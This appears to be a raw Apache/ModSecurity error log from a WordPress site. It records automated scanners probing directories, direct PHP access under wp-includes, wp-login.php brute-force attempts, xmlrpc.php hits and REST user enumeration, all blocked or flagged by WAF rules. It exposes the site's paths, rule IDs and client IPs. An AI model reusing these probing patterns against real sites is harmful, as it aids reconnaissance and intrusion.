[Sun Dec 14 02:03:12.646156 2025] [proxy_fcgi:error] [pid 3635:tid 3673] [client 137.184.230.10:54540] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:55:{i:1762839948;a:1:{s:10:\\"itsec_cron\\";a:0:{}}i:1765648721;a:1:{s:26:\\"action_scheduler_run_queue\\";a:1:{s:32:\\"0d04ed39571b55704c122d726248bbac\\";a:3:{s:8:\\"schedule\\";s:12:\\"every_minute\\";s:4:\\"args\\";a:1:{i:0;s:7:\\"WP Cron\\";}s:8:\\"interval\\";i:60;}}}i:1765648900;a:1:{s:10:\\"itsec_cron\\";a:1:{s:32:\\"3bdcc7796dec3f4cefbd4176b66642ab\\";a:2:{s:8:\\"schedule\\";b:0;s:4:\\"args\\";a:2:{i:0;s:12:\\"malware-scan\\";i:1;s:32:\\"822c2ad495858cb32e71c2e53f905597\\";}}}}i:1765648936;a:1:{s:29:\\"rsssl_every_five_minutes_hook\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:3:{s:8:\\"schedule\\";s:18:\\"rsssl_five_minutes\\";s:4:\\"args\\";a:0:{}s:8:\\"interval\\";i:300;}}}i:1765649022;a:1:{s:35:\\"wordfence_batchReportFailedAttempts\\";a:1:{s:32:\\"40cd750bba9870f18aada2478b24840a\\";a:2:{s:8:\\"schedule\\";b:0;s:4:\\"args\\";a:0:{}}}}i:1765650223;a:1:{s:10:\\"itsec_cron\\";a:1:{s:3...'
[Sun Dec 14 02:16:16.314019 2025] [autoindex:error] [pid 3636:tid 3714] [client 4.213.60.65:39858] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 14 02:16:24.255396 2025] [autoindex:error] [pid 3636:tid 3707] [client 4.213.60.65:39858] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 14 02:16:52.129800 2025] [autoindex:error] [pid 3636:tid 3704] [client 4.213.60.65:39858] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 14 02:16:52.417089 2025] [autoindex:error] [pid 3636:tid 3713] [client 4.213.60.65:39858] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 14 02:17:40.301339 2025] [:error] [pid 3636:tid 3702] [client 4.213.60.65:39858] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aT2txN4pNg3LXPqKgeZB7gAAAQo"], referer: https://www.google.co.uk/
[Sun Dec 14 02:17:40.727614 2025] [autoindex:error] [pid 14654:tid 14672] [client 4.213.60.65:39817] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 14 02:17:40.864920 2025] [:error] [pid 14654:tid 14662] [client 4.213.60.65:39817] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aT2txDqZP_N7tgSGeZc6MwAAAAU"], referer: https://www.google.de/
[Sun Dec 14 02:17:41.287568 2025] [autoindex:error] [pid 3635:tid 3678] [client 4.213.60.65:39837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 14 02:18:19.479282 2025] [:error] [pid 3634:tid 3639] [client 4.213.60.65:38467] [client 4.213.60.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.60.65, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT2t64bt-wTl4d7Q7qqDmwAAAEE"], referer: https://www.google.com/
[Sun Dec 14 02:18:25.226992 2025] [autoindex:error] [pid 3635:tid 3679] [client 4.213.60.65:39837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 14 02:18:29.346714 2025] [autoindex:error] [pid 3635:tid 3678] [client 4.213.60.65:39837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 14 02:18:33.351861 2025] [autoindex:error] [pid 3635:tid 3665] [client 4.213.60.65:39837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 14 02:18:46.079896 2025] [autoindex:error] [pid 3635:tid 3681] [client 4.213.60.65:39837] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 14 02:18:46.217597 2025] [:error] [pid 3635:tid 3685] [client 4.213.60.65:39837] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aT2uBjqfhzW7OpfKxKzxiwAAANQ"], referer: https://www.google.fr/
[Sun Dec 14 02:18:46.492095 2025] [:error] [pid 3720:tid 3745] [client 4.213.60.65:51030] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aT2uBu7_sgsCEY5RMYrpzAAAAJc"], referer: https://www.google.com/
[Sun Dec 14 02:18:46.911994 2025] [autoindex:error] [pid 3634:tid 3660] [client 4.213.60.65:50984] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 14 02:18:47.196588 2025] [autoindex:error] [pid 3634:tid 3647] [client 4.213.60.65:50984] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 14 02:18:47.339334 2025] [:error] [pid 3634:tid 3661] [client 4.213.60.65:50984] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/index.php"] [unique_id "aT2uB4bt-wTl4d7Q7qqDswAAAFc"], referer: https://duckduckgo.com/
[Sun Dec 14 02:18:47.764336 2025] [autoindex:error] [pid 3636:tid 3715] [client 4.213.60.65:39853] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 14 02:18:48.051666 2025] [autoindex:error] [pid 3636:tid 3701] [client 4.213.60.65:39853] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 14 02:18:48.189299 2025] [:error] [pid 3636:tid 3707] [client 4.213.60.65:39853] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aT2uCN4pNg3LXPqKgeZCQgAAAQ8"], referer: https://www.google.de/
[Sun Dec 14 02:18:48.464788 2025] [:error] [pid 14654:tid 14669] [client 4.213.60.65:39267] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aT2uCDqZP_N7tgSGeZc6lAAAAAw"], referer: https://www.yahoo.com/
[Sun Dec 14 02:18:48.738473 2025] [:error] [pid 3635:tid 3678] [client 4.213.60.65:51021] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aT2uCDqfhzW7OpfKxKzxjQAAAM0"], referer: https://www.google.com/
[Sun Dec 14 02:18:49.013012 2025] [:error] [pid 3720:tid 3727] [client 4.213.60.65:51035] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/development/index.php"] [unique_id "aT2uCe7_sgsCEY5RMYrpzgAAAIU"], referer: https://www.google.com/
[Sun Dec 14 02:18:49.287189 2025] [:error] [pid 3636:tid 3712] [client 4.213.60.65:39846] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aT2uCd4pNg3LXPqKgeZCRQAAARQ"], referer: https://www.google.co.uk/
[Sun Dec 14 02:18:49.708747 2025] [autoindex:error] [pid 14689:tid 14702] [client 4.213.60.65:50993] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 14 02:18:49.845757 2025] [:error] [pid 14689:tid 14703] [client 4.213.60.65:50993] [client 4.213.60.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aT2uCUEcifvaa9I7SnmLowAAAUo"], referer: https://www.google.fr/
[Sun Dec 14 03:58:58.191729 2025] [:error] [pid 57847:tid 57913] [client 139.162.53.182:48056] [client 139.162.53.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.53.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT3FgqKPgygUGYNLAhF5eAAAAIM"]
[Sun Dec 14 05:55:10.716601 2025] [:error] [pid 39525:tid 39602] [client 185.199.223.55:51132] [client 185.199.223.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.55, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT3gvk1fX_pB_BrvE_58QwAAAJM"]
[Sun Dec 14 08:03:17.877508 2025] [:error] [pid 39525:tid 39603] [client 89.58.21.22:33856] [client 89.58.21.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.58.21.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT3-xU1fX_pB_BrvE_6aaAAAAJQ"]
[Sun Dec 14 09:51:15.723582 2025] [:error] [pid 39525:tid 39604] [client 51.159.214.31:43718] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.159.214.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT4YE01fX_pB_BrvE_6vGAAAAJU"]
[Sun Dec 14 11:40:39.950856 2025] [:error] [pid 39614:tid 39630] [client 78.47.142.186:41982] [client 78.47.142.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.47.142.186, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT4xt_xybG8-9MflbDffwQAAAM4"]
[Sun Dec 14 13:37:35.761868 2025] [:error] [pid 40595:tid 40616] [client 85.214.10.56:48818] [client 85.214.10.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.10.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT5NH_jrht6y4RN-xKSMnQAAAZE"]
[Sun Dec 14 17:22:44.233876 2025] [:error] [pid 41600:tid 41624] [client 178.33.40.189:57048] [client 178.33.40.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.40.189, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT6B5NFLTBZjcwNd_Vug7gAAARU"]
[Sun Dec 14 19:08:41.211683 2025] [:error] [pid 40595:tid 40611] [client 93.166.103.101:51524] [client 93.166.103.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.166.103.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT6aufjrht6y4RN-xKQFHwAAAYw"]
[Sun Dec 14 19:33:56.624660 2025] [:error] [pid 39524:tid 39567] [client 43.138.68.113:52110] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aT6gpGrVGpbDzFtDE9PYOwAAAEs"]
[Sun Dec 14 21:03:27.653160 2025] [:error] [pid 39525:tid 39585] [client 152.42.219.10:48702] [client 152.42.219.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.219.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT61n01fX_pB_BrvE_5XqAAAAII"]
[Sun Dec 14 23:04:09.074233 2025] [:error] [pid 39524:tid 39577] [client 81.169.221.4:53436] [client 81.169.221.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.169.221.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT7R6WrVGpbDzFtDE9MlcgAAAFU"]
[Mon Dec 15 03:14:29.205674 2025] [:error] [pid 8339:tid 8344] [client 120.17.205.185:1568] [client 120.17.205.185] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "78.157.49.100_25249fe89ab2cee50a56daef7e7d3e816f34df70"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/webfonts/fa-solid-900.woff2"] [unique_id "aT8MkrlqE6mJc-Y6giNbGQAAAAE"], referer: https://vetstars.com.au/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.min.css?ver=5.15.3
[Mon Dec 15 05:05:46.884477 2025] [:error] [pid 35020:tid 35067] [client 62.84.186.201:38396] [client 62.84.186.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.84.186.201, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT8mqiBMuWbtFfQIRIbeAQAAAFE"]
[Mon Dec 15 09:09:19.262865 2025] [:error] [pid 35020:tid 35074] [client 94.23.209.194:56366] [client 94.23.209.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.23.209.194, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT9fvyBMuWbtFfQIRIZMQgAAAFg"]
[Mon Dec 15 11:12:16.476867 2025] [:error] [pid 39829:tid 39894] [client 91.232.154.200:59536] [client 91.232.154.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.232.154.200, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aT98kGegGfxg5ldkNehKMgAAAYk"]
[Mon Dec 15 16:40:44.611743 2025] [:error] [pid 39829:tid 39897] [client 34.171.118.165:53309] [client 34.171.118.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.171.118.165, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT_JjGegGfxg5ldkNei2-gAAAYw"]
[Mon Dec 15 16:40:47.611329 2025] [:error] [pid 39829:tid 39894] [client 34.171.118.165:53309] [client 34.171.118.165] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aT_Jj2egGfxg5ldkNei3AAAAAYk"]
[Mon Dec 15 16:40:52.012566 2025] [:error] [pid 39829:tid 39898] [client 34.171.118.165:53309] [client 34.171.118.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.171.118.165, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT_JlGegGfxg5ldkNei3BgAAAY0"]
[Mon Dec 15 17:39:54.562319 2025] [:error] [pid 31373:tid 31414] [client 136.117.127.19:51067] [client 136.117.127.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.127.19, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT_XanFdnrU7ASwItVKTLwAAAMk"]
[Mon Dec 15 17:39:57.639209 2025] [:error] [pid 31373:tid 31417] [client 136.117.127.19:51067] [client 136.117.127.19] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aT_XbXFdnrU7ASwItVKTMgAAAMw"]
[Mon Dec 15 17:39:59.717997 2025] [:error] [pid 31373:tid 31405] [client 136.117.127.19:51067] [client 136.117.127.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.127.19, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT_Xb3FdnrU7ASwItVKTNQAAAMA"]
[Mon Dec 15 17:58:01.158077 2025] [:error] [pid 31372:tid 31382] [client 34.23.189.251:59537] [client 34.23.189.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.189.251, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT_bqQN06qRtpJxyxHhgTAAAAIY"]
[Mon Dec 15 17:58:04.524291 2025] [:error] [pid 31372:tid 31388] [client 34.23.189.251:59537] [client 34.23.189.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aT_brAN06qRtpJxyxHhgUQAAAIw"]
[Mon Dec 15 17:58:06.747524 2025] [:error] [pid 31372:tid 31377] [client 34.23.189.251:59537] [client 34.23.189.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.189.251, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT_brgN06qRtpJxyxHhgVAAAAIE"]
